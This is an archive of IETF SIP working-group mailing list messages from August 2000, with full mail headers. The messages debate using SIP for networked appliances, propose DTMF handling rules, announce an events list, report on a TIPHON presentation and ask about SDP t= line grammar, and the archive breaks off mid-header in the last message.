share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C59A344403; Wed, 2 Aug 2000 15:00:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 134A644337 for ; Wed, 2 Aug 2000 15:00:37 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id PAA06739; Wed, 2 Aug 2000 15:04:20 -0400 (EDT) Message-ID: <398871C2.186E70AB@cs.columbia.edu> Date: Wed, 02 Aug 2000 15:08:50 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Ben Campbell Cc: stanm@research.telcordia.com, sip@lists.bell-labs.com Subject: Re: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I don't see this as RPC in the classical sense. There are two aspects: - action (MESSAGE) to affect lightbulb state;' - events to obtain lightbulb state. Thus, this is very similar to sending text (chat) messages and subscribing to user status changes (events). Particularly in the event case, the usual SIP advantages apply, including that the watcher may be mobile (Speaking from personal plumbing accident experience, I want to be notified when the home temperature drops below threshold regardless of my location). There are some nice secondary benefits to this: existing SIP message and notification tools can be trivially extended to handle this. I can put my washer in my address book and be notified when the wash is ready. Also, existing tools such as sip-cgi and CPL are quite useful for this space. Since this doesn't require any SIP extensions, it seems (hopefully) harmless. Ben Campbell wrote: > > I have a general comment on the "Networked Appliances" draft. > > It seems to me that SIP is not an appropriate protocol for this purpose. It > falls into the category of using SIP for an RPC mechanism. It is not clear > to me how the primary features that distinguish SIP from something like HTTP > (finding location, mobility, etc) are needed for a networked appliance > protocol. > > It is entirely possible I am missing something here. If so, please enlighten > me. > > Thanks! > > Ben Campbell > dynamicsoft > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 15:53:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24717 for ; Wed, 2 Aug 2000 15:53:38 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A45DF44386; Wed, 2 Aug 2000 15:52:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 300E544337 for ; Wed, 2 Aug 2000 15:52:11 -0400 (EDT) Received: from SUPERBEE (wireless-132-103.ietf.marconi.com [147.73.132.103]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id PAA20496; Wed, 2 Aug 2000 15:53:20 -0400 (EDT) From: "Ben Campbell" To: "Henning Schulzrinne" Cc: , Subject: RE: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Date: Wed, 2 Aug 2000 14:50:29 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 In-reply-to: <398871C2.186E70AB@cs.columbia.edu> Importance: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > > I don't see this as RPC in the classical sense. There are two aspects: > > - action (MESSAGE) to affect lightbulb state;' > > - events to obtain lightbulb state. > > Thus, this is very similar to sending text (chat) messages and > subscribing to user status changes (events). Particularly in the event > case, the usual SIP advantages apply, including that the watcher may be > mobile (Speaking from personal plumbing accident experience, I want to > be notified when the home temperature drops below threshold regardless > of my location). It seems that this and other discussions of subscribe/notify and message, we are moving towards a general event mechanism, i.e. application to application communication, not necessarily human to human communication. I am agnostic on whether this is a good or bad thing, but I am surprised it does not generate more controversy. Perhaps this should come up at the event mechanism BOF tonight. > > There are some nice secondary benefits to this: existing SIP message and > notification tools can be trivially extended to handle this. I can put > my washer in my address book and be notified when the wash is ready. > > Also, existing tools such as sip-cgi and CPL are quite useful for this > space. > > Since this doesn't require any SIP extensions, it seems (hopefully) > harmless. Not to be pedantic, but while it may not _introduce_ any new extensions, it certainly does require a them. Again, perhaps we need to clarify the intended purpose of the presence and messaging extension proposals. > > Ben Campbell wrote: > > > > I have a general comment on the "Networked Appliances" draft. > > > > It seems to me that SIP is not an appropriate protocol for this > purpose. It > > falls into the category of using SIP for an RPC mechanism. It > is not clear > > to me how the primary features that distinguish SIP from > something like HTTP > > (finding location, mobility, etc) are needed for a networked appliance > > protocol. > > > > It is entirely possible I am missing something here. If so, > please enlighten > > me. > > > > Thanks! > > > > Ben Campbell > > dynamicsoft > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 17:39:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00586 for ; Wed, 2 Aug 2000 17:39:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B08134436D; Wed, 2 Aug 2000 17:39:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sd_exchange.nuera.com (igate.nuera.com [204.216.240.98]) by lists.bell-labs.com (Postfix) with ESMTP id 66B6F44337 for ; Wed, 2 Aug 2000 17:39:28 -0400 (EDT) Received: by sd_exchange.nuera.com with Internet Mail Service (5.5.2650.21) id <3T6TLZW7>; Wed, 2 Aug 2000 14:38:49 -0700 Message-ID: <613A6A6A3F09D3118F5C00508B2C24FEAD8DE8@sd_exchange.nuera.com> From: "Fox, Mike" To: sip@lists.bell-labs.com Subject: RE: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Date: Wed, 2 Aug 2000 14:38:48 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com The temptation to extend or use the "message" capability of SIP may become a problem for all SIP devices to represent the message to the user. I would think it far more compatible to start a SIP session and initiate a RTP audio stream to deliver the audio message "FYI the house is too cold, the windows are open, and it is snowing inside." when you are contacted via a SIP PSTN gateway at your hotel in sunny Jamaica. And to deliver the message as text to your pager, if instead you were hiking in the Rockies. It seems that with SDP this is already worked out by the session UAs, where as the message scheme requires the destination UA to provide "message translation" so that the message can be presented to the user by the interface device. I think the logic of session initiation consistently extends to initiating device control and RPC protocols with SIP, rather than putting these into SIP. My $0000.02 Mike Fox _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 19:14:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA29963 for ; Wed, 2 Aug 2000 19:14:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F01AD443B6; Wed, 2 Aug 2000 19:14:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f84.law3.hotmail.com [209.185.241.84]) by lists.bell-labs.com (Postfix) with ESMTP id 8204944337 for ; Wed, 2 Aug 2000 19:14:35 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 2 Aug 2000 16:14:34 -0700 Received: from 147.73.128.144 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 02 Aug 2000 GMT X-Originating-IP: [147.73.128.144] Reply-To: ndeason@ubiquity.net From: "Neil Deason" To: schulzrinne@cs.columbia.edu, bcampbell@dynamicsoft.com Cc: stanm@research.telcordia.com, sip@lists.bell-labs.com Subject: Re: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Date: Wed, 02 Aug 2000 23:14:34 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 02 Aug 2000 23:14:34.0655 (UTC) FILETIME=[6BCEDAF0:01BFFCD7] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com >I don't see this as RPC in the classical sense. There are two aspects: I think the statement 'SIP is not for RPC' as a guideline to using/extending SIP is not sufficiently qualified. SIP is certainly not a high efficiency or general purpose RPC mechanism but some things which could be interpreted as RPC-like might still be valid uses for SIP. >- action (MESSAGE) to affect lightbulb state;' > >- events to obtain lightbulb state. > >Thus, this is very similar to sending text (chat) messages and >subscribing to user status changes (events). Particularly in the event >case, the usual SIP advantages apply, including that the watcher may be >mobile (Speaking from personal plumbing accident experience, I want to >be notified when the home temperature drops below threshold regardless >of my location). > >There are some nice secondary benefits to this: existing SIP message and >notification tools can be trivially extended to handle this. I can put >my washer in my address book and be notified when the wash is ready. > >Also, existing tools such as sip-cgi and CPL are quite useful for this >space. > >Since this doesn't require any SIP extensions, it seems (hopefully) >harmless. One thing that is not clear to me is the relationship between what is referred to as a service provider proxy and home domain proxy with respect to REGISTERs/message routing. In the simple access from home to work example the draft refers to a UA in the home domain registering with the home domain proxy and this information being propagated to the service provider's domain. Without that occurring I can't see the message routing between the two proxies in the subsequent call flow working. Unfortunately there is no mechanism in SIP for this propagation. So either the two proxies have another non SIP based relationship between them or SIP would need extending to accommodate such a mechanism. Cheers, Neil. -- Ubiquity Software, UK www.ubiquity.net ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 19:53:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA10105 for ; Wed, 2 Aug 2000 19:53:33 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 126AD443CF; Wed, 2 Aug 2000 19:53:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id B159744337 for ; Wed, 2 Aug 2000 19:53:12 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id TAA07685; Wed, 2 Aug 2000 19:53:14 -0400 (EDT) Message-ID: <3988B579.775FE3E3@cs.columbia.edu> Date: Wed, 02 Aug 2000 19:57:45 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ndeason@ubiquity.net Cc: bcampbell@dynamicsoft.com, stanm@research.telcordia.com, sip@lists.bell-labs.com Subject: Re: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > I think the statement 'SIP is not for RPC' as a guideline > to using/extending SIP is not sufficiently qualified. > SIP is certainly not a high efficiency or general purpose > RPC mechanism but some things which could be interpreted > as RPC-like might still be valid uses for SIP. Since most any protocol, including HTTP and SMTP (or RTP and SNMP), can be replaced by RPC in some sense (and thus serves as an RPC mechanism), the statement probably does need to be qualified. > One thing that is not clear to me is the relationship between > what is referred to as a service provider proxy and home > domain proxy with respect to REGISTERs/message routing. In > the simple access from home to work example the draft refers > to a UA in the home domain registering with the home domain > proxy and this information being propagated to the service > provider's domain. Without that occurring I can't see the message > routing between the two proxies in the subsequent call flow > working. Unfortunately there is no mechanism in SIP for this > propagation. So either the two proxies have another non SIP > based relationship between them or SIP would need extending > to accommodate such a mechanism. > That's actually a more general problem, I believe. In some cases (mobility), it would be nice to proxy a REGISTER to the provider, yet have the proxy "remember" this registration. Henning _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 20:59:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA28246 for ; Wed, 2 Aug 2000 20:59:49 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 720D4443E6; Wed, 2 Aug 2000 20:59:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id B9CAE44337 for ; Wed, 2 Aug 2000 20:59:18 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id RAA09257 for ; Wed, 2 Aug 2000 17:59:35 -0700 (PDT) Received: from sony-laptop (ssh.cisco.com [171.69.10.34]) by imop.cisco.com (Mirapoint) with SMTP id AAC31822; Wed, 2 Aug 2000 17:59:17 -0700 (PDT) Message-Id: <4.1.20000802142046.00b84810@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Wed, 02 Aug 2000 19:41:00 +0200 To: sip@lists.bell-labs.com From: Rohan Mahy Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: [SIP] DTMF discussion from WG meeting Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi Folks, Below is a summary of one proposal for DTMF (basically what I said at the mic today). - Terminals which *send audio* must be able to send and receive DTMF via RTP. (If for no other reason, than PSTN interworking). - First-party applications which *receive audio*, must be able to receive DTMF via RTP, because the sender may send their DTMF over RTP. - Third-party applications which want to find out about keypresses (IP endpoints) or DTMF events (PSTN endpoints) of a party in a call, should send a SUBSCRIBE to that party for dtmf-events. The third party may request [using some kind of parameter (ex: ";silent" or ";private")] that DTMF is not sent via RTP during this subscription. Otherwise the first party still sends DTMF to its audio peers using RTP. Applications of the "silent" parameter would be private signalling to calling card things, to conference control services, etc. - Alternatively a third party MAY send a script/document/application (ex: VoXML doc) to an endpoint to run, which could result in other SIP messages//notifies, etc. This script/doc/app MAY trap DTMF locally (and silently). - A first-party MAY NOT subscribe to dtmf-events, but MAY trap DTMF based on a local script/app/doc. Key here was the difference between a first party participant and a third party participant. Thoughts? thanks, -rohan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 21:04:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA29407 for ; Wed, 2 Aug 2000 21:04:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6086E443E7; Wed, 2 Aug 2000 21:04:05 -0400 (EDT) Delivered-To: sip@share.research.bell-labs.com Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49]) by lists.bell-labs.com (Postfix) with SMTP id 7291A443CB for ; Wed, 2 Aug 2000 21:04:02 -0400 (EDT) Received: from lists.bell-labs.com ([135.104.27.211]) by crufty; Wed Aug 2 21:04:00 EDT 2000 Received: by lists.bell-labs.com (Postfix) id DEA9D44369; Wed, 2 Aug 2000 20:50:50 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hzsgg01.nl.lucent.com (hzsgg01.nl.lucent.com [135.85.32.33]) by lists.bell-labs.com (Postfix) with SMTP id 2379044347 for ; Wed, 2 Aug 2000 20:50:50 -0400 (EDT) Received: from lucent.com (sijben.lra.lucent.com) by hzsgg01.nl.lucent.com (4.1/SMI-4.1) id AA14826; Thu, 3 Aug 00 02:50:47 +0200 Message-Id: <39887B1F.7F43E28B@lucent.com> Date: Wed, 02 Aug 2000 21:48:47 +0200 From: Paul Sijben Organization: Lucent technologies, The Netherlands X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en Mime-Version: 1.0 To: SIP reflector References: <4.3.1.2.20000801232827.00be17b0@127.0.0.1> <3988220C.D6E49747@ecal.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] TIPHON SIP presentation on-line Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I have uploaded the presentation I have presented at the SIP WG meeting. You can find it at: http://pages.hotbot.com/edu/sijben/ Paul -- Paul Sijben Tel:+31 356874774 Lucent Technologies Message:+31 208702874 Forward Looking Work Fax: +31 208702874 Huizen, The Netherlands http://voip.nl.lucent.com/~sijben (internal) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 22:56:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA03258 for ; Wed, 2 Aug 2000 22:56:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 00E7F443E6; Wed, 2 Aug 2000 22:55:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web2304.mail.yahoo.com (web2304.mail.yahoo.com [128.11.68.76]) by lists.bell-labs.com (Postfix) with SMTP id A46EF44337 for ; Wed, 2 Aug 2000 22:55:29 -0400 (EDT) Message-ID: <20000803025529.14362.qmail@web2304.mail.yahoo.com> Received: from [147.73.135.170] by web2304.mail.yahoo.com; Wed, 02 Aug 2000 19:55:29 PDT Date: Wed, 2 Aug 2000 19:55:29 -0700 (PDT) From: Adam Roach To: sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [SIP] Events mailing list Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com It's already been announced multiple times, but we appear to have so much traffic on the list that it's being overlooked by many. We have a mailing list set up for discussion of events (i.e. SUBSCRIBE/NOTIFY). To join, go to http://www.egroups.com/messages/sip-events After some editing, I will shortly be posting some abbreviated minutes of the evening BOF on events, as well as our plan for moving forward. The web page includes a mail archive, so you can catch up on the list (it's had 6 messages so far). /Adam P.S. I don't check the yahoo address very often. Mail sent to me should use adam.roach@ericsson.com. __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 23:42:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA17411 for ; Wed, 2 Aug 2000 23:42:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 94F404436D; Wed, 2 Aug 2000 23:42:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 77D0044337 for ; Wed, 2 Aug 2000 23:42:14 -0400 (EDT) Received: from dynamicsoft.com (1Cust35.tnt2.pittsburgh.pa.da.uu.net [63.10.63.35]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA22624; Wed, 2 Aug 2000 23:43:34 -0400 (EDT) Message-ID: <3988EB2E.E8664633@dynamicsoft.com> Date: Wed, 02 Aug 2000 23:46:54 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: confctrl@isi.edu, sip Content-Type: multipart/mixed; boundary="------------10522D26E6691BDA8F954DE9" Subject: [SIP] [Fwd: notes from the IETF SIP & SDP] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. --------------10522D26E6691BDA8F954DE9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com --------------10522D26E6691BDA8F954DE9 Content-Type: message/rfc822 Content-Disposition: inline Received: from wodc7mr4.ffx.ops.us.uu.net by wodc7ps1.ffx.ops.us.uu.net with ESMTP (peer crosschecked as: wodc7mr4.ffx.ops.us.uu.net [192.48.96.29]) id QQjaos16657 for ; Thu, 3 Aug 2000 01:39:56 GMT Received: from list.etsi.fr by wodc7mr4.ffx.ops.us.uu.net with ESMTP (peer crosschecked as: list.etsi.fr [212.234.161.19]) id QQjaos17440 for ; Thu, 3 Aug 2000 01:39:56 GMT Received: from list (list.etsi.fr) by list.etsi.fr (LSMTP for Windows NT v1.1b) with SMTP id <0.000DCBF4@list.etsi.fr>; Thu, 3 Aug 2000 2:38:20 +0100 Received: from LIST.ETSI.FR by LIST.ETSI.FR (LISTSERV-TCP/IP release 1.8d) with spool id 2219259 for TIPHON@LIST.ETSI.FR; Thu, 3 Aug 2000 01:50:04 +0100 Received: from delta.etsi.fr by list.etsi.fr (LSMTP for Windows NT v1.1b) with SMTP id <0.000DCBD1@list.etsi.fr>; Thu, 3 Aug 2000 1:50:03 +0100 Received: FROM ihemail2.firewall.lucent.com BY delta.etsi.fr ; Thu Aug 03 01:51:03 2000 +0100 Received: from ihemail2.firewall.lucent.com (localhost [127.0.0.1]) by ihemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id UAA28843 for ; Wed, 2 Aug 2000 20:50:58 -0400 (EDT) Received: from hzsgg01.nl.lucent.com (h135-85-32-33.lucent.com [135.85.32.33]) by ihemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with SMTP id UAA28816 for ; Wed, 2 Aug 2000 20:50:54 -0400 (EDT) Received: from lucent.com (sijben.lra.lucent.com) by hzsgg01.nl.lucent.com (4.1/SMI-4.1) id AA14829; Thu, 3 Aug 00 02:50:51 +0200 X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-ID: <3988C1C9.F9706C3A@lucent.com> Date: Thu, 3 Aug 2000 02:50:17 +0200 Reply-To: Paul Sijben Sender: "TIPHON : interoperabillity of VoIP/ISDN/PSTN." From: Paul Sijben Organization: Lucent technologies, The Netherlands Subject: notes from the IETF SIP & SDP To: TIPHON@LIST.ETSI.FR X-Mozilla-Status2: 00000000 Content-Transfer-Encoding: 7bit I have presented the TIPHON architecture and QoS work at a fairly high-level way to the SIP working group and the MMUSIC WG. Both presentations can be found at: http://pages.hotbot.com/edu/sijben/ The SIP presentation resulted in no feedback during the meeting but some positive feedback off-line. The SDP presentation did go very bad. I got shot down (by Jonathan Rosenberg, Henning Shulzerinne, Christian Huitema and others.) over the basic premise that signaling is related to the media so that the signaling path can say sensible things about the QoS. This was deemed against the philosophy of the Internet. Quote: "No internet I have seen works like this". It was claimed that the opposite is true because the signaling and the media go over completely different paths. The attackers seemed to see in the presentation that TIPHON wants to do a link-by-link replacement of the switched networks... Saying that this is not the case had no effect. A reply along the lines of that QoS implies commercial relationships and than media gateways impact QoS and are controlled by the applications and hence that the applications have impact on QoS did also not sway the die-hards. (Someone actually claimed that the MG is not controlled by the application domain ?????) After the session was over someone working on MPEG-4 said that he heard something else in my presentation namely exactly what they are have been doing! So I pointed him to our documents because he described the same method we have been exploring in WG5 but they need the parameter values. I told him to look at 5003 and 5009. So the session was not a complete loss and we are not the only ones looking at this. Paul -- Paul Sijben Tel:+31 356874774 Lucent Technologies Message:+31 208702874 Forward Looking Work Fax: +31 208702874 Huizen, The Netherlands http://voip.nl.lucent.com/~sijben (internal) ------------------------------------------------------------------- Mail archive for TIPHON can be browsed at the following url : http://www.etsi.org/TIPHON/mailing_lists.htm ------------------------------------------------------------------- --------------10522D26E6691BDA8F954DE9-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 23:44:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA17807 for ; Wed, 2 Aug 2000 23:44:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4447A44408; Wed, 2 Aug 2000 23:44:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 9DD6144407 for ; Wed, 2 Aug 2000 23:43:56 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e733inq24561 for ; Thu, 3 Aug 2000 09:14:53 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 65256930.00150801 ; Thu, 3 Aug 2000 09:19:43 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: sip@lists.bell-labs.com Message-ID: <65256930.001507A3.00@sampark.hss.hns.com> Date: Thu, 3 Aug 2000 09:19:41 +0530 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Subject: [SIP] A universal problem with the t= line. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Folks, Although this is an SDP problem, it seems the interpretation of it by *many* SIP implementors of the t= line in SDP is taken differently from what the SDP grammar *explicitly* states. According to the grammar: t= start- time = time | "0" time = POS-DIGIT 9*(DIGIT) If my interpretation is correct, the above specifies at least a 10 digit t= value (or 0) SDP afaik, is known not to be lenient (unlike SIP headers) and hence any divergence from SDP grammar should be an error. My question is: Is the grammar above of SDP (and its interpretation of it) correct , and do the sip implementors need to be aware not to stuff in < 10 digit values in t= field (except 0) Regds Arjun _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 00:08:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA25247 for ; Thu, 3 Aug 2000 00:08:24 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F3F2C44414; Thu, 3 Aug 2000 00:08:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.in.huawei.com (unknown [203.197.168.166]) by lists.bell-labs.com (Postfix) with ESMTP id 70AE84440E for ; Thu, 3 Aug 2000 00:08:00 -0400 (EDT) Received: by mail.in.huawei.com with Internet Mail Service (5.5.2448.0) id ; Thu, 3 Aug 2000 09:48:46 +0530 Message-ID: <71B7F3690749D411A261000629AE2C6508B417@mail.in.huawei.com> From: Bodgey Yin Shaohua To: sip@lists.bell-labs.com Date: Thu, 3 Aug 2000 